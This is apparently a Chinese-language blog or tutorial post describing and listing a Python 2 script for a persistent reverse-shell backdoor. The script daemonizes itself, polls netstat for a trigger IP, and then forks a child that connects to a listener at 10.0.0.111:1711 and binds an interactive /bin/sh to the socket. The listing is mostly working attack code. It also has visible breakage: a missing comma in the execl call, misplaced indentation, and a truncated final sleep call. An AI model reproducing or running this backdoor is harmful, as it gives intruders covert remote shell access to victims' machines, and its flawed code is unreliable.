1)首先daemon化
2)然后用 netstat命令,检测是否指定的IP(192.168.1.111)连接上,有,则激活
无,则睡眠几分钟(这个时间可根据需要自行调节)
3)激活后,开一个子进程,创建socket,与运行了监听程序的IP进行连接,并执行一个shell,将该
shell的输入输出重定向到socket.
4)父进程则等待 shell子进程的执行,如果执行完毕,就继续 检测
周而复始…

  1. #!/usr/bin/python  
  2.  
  3. import os  
  4. import sys  
  5. import socket  
  6. import time  
  7.  
  8. def daemon ():  
  9.     try:  
  10.         pid = os.fork()  
  11.         if pid > 0:  
  12.             sys.exit(0)  
  13.     except OSError, e:  
  14.         print >>sys.stderr, "fork #1 failed: %d (%s)" % (e.errno, e.strerror)  
  15.         sys.exit(1)  
  16.  
  17.     os.chdir("/")  
  18.     os.setsid()  
  19.     os.umask(0)   
  20.  
  21.     try:  
  22.         pid = os.fork()  
  23.         if pid > 0:  
  24.             print "Daemon PID %d" % pid  
  25.             sys.exit(0)  
  26.     except OSError, e:  
  27.         print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror)  
  28.         sys.exit(1)   
  29.  
  30. def shell (host = '10.0.0.111', port = 1711):  
  31.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  32.     try:  
  33.         s.connect((host, port))  
  34.         f = s.fileno()  
  35.         os.dup2(f, 0)  
  36.         os.dup2(f, 1)  
  37.         os.dup2(f, 2)  
  38.         os.execl("/bin/sh""sh""-i")  
  39.  
  40.     except socket.error, (errno, errstr):  
  41.         print "connect error%d\n" % os.getpid()  
  42.         time.sleep(10)  
  43.  
  44.     sys.exit(127)  
  45.  
  46. if __name__ == "__main__":  
  47.     daemon()  
  48.  
  49.     while(True):  
  50.         (cin, cout) = os.popen4("netstat -nt | grep 192.168.1.111")  
  51.         str = cout.read()  
  52.     try:  
  53.         os.wait()  
  54.     except OSError, e:  
  55.         pass 
  56.  
  57.         if  str != '':  
  58.             print str  
  59.             try:  
  60.                 pid = os.fork()  
  61.                 if pid > 0:  
  62.                     print 'parent wait:%d\n' % os.getpid()  
  63.                     try:  
  64.                         os.wait()  
  65.                     except OSError, e:  
  66.                         pass 
  67.                 else:  
  68.                     print 'ready to connect:%d\n' % os.getpid()  
  69.                     shell()  
  70.  
  71.             except OSError, e:  
  72.                 sys.exit(1)  
  73.         else:  
  74.             print "start sleep 5 mins:%d\n" % os.getpid()  
  75.             time.sleep(10